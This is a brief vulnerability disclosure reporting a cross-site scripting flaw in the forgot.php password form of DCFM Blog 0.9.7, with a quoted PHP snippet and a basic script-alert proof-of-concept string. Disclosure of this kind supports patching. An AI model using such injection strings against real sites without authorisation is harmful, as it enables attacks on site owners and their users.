DCFM Blog 0.9.7 XSS Attack
===========================




Discovered by N_A , N_A[at]tutanota.com
========================================


Description
============

Open-source blog project. Free blog system for any website. Uses MySQL and PHP 5. Very easily customizable and incredibly flexible.

https://sourceforge.net/projects/dcfm-blog/






Vulnerability
=============


The forgot.php file in DCFM Blog 0.9.7 does not proplery check input and code injection is possible.


if (!isset($_POST['userf'])) {
  echo "<form action='forgot.php' method='post'>
  Please provide your username:
  <input type='text' name='userf' />
  <br /><br /><input type='submit' value='Get my Password' />
</form>";






Proof Of Concept String
========================


<script>alert('XSS');</script>





Email
=====

N_A[at]tutanota.com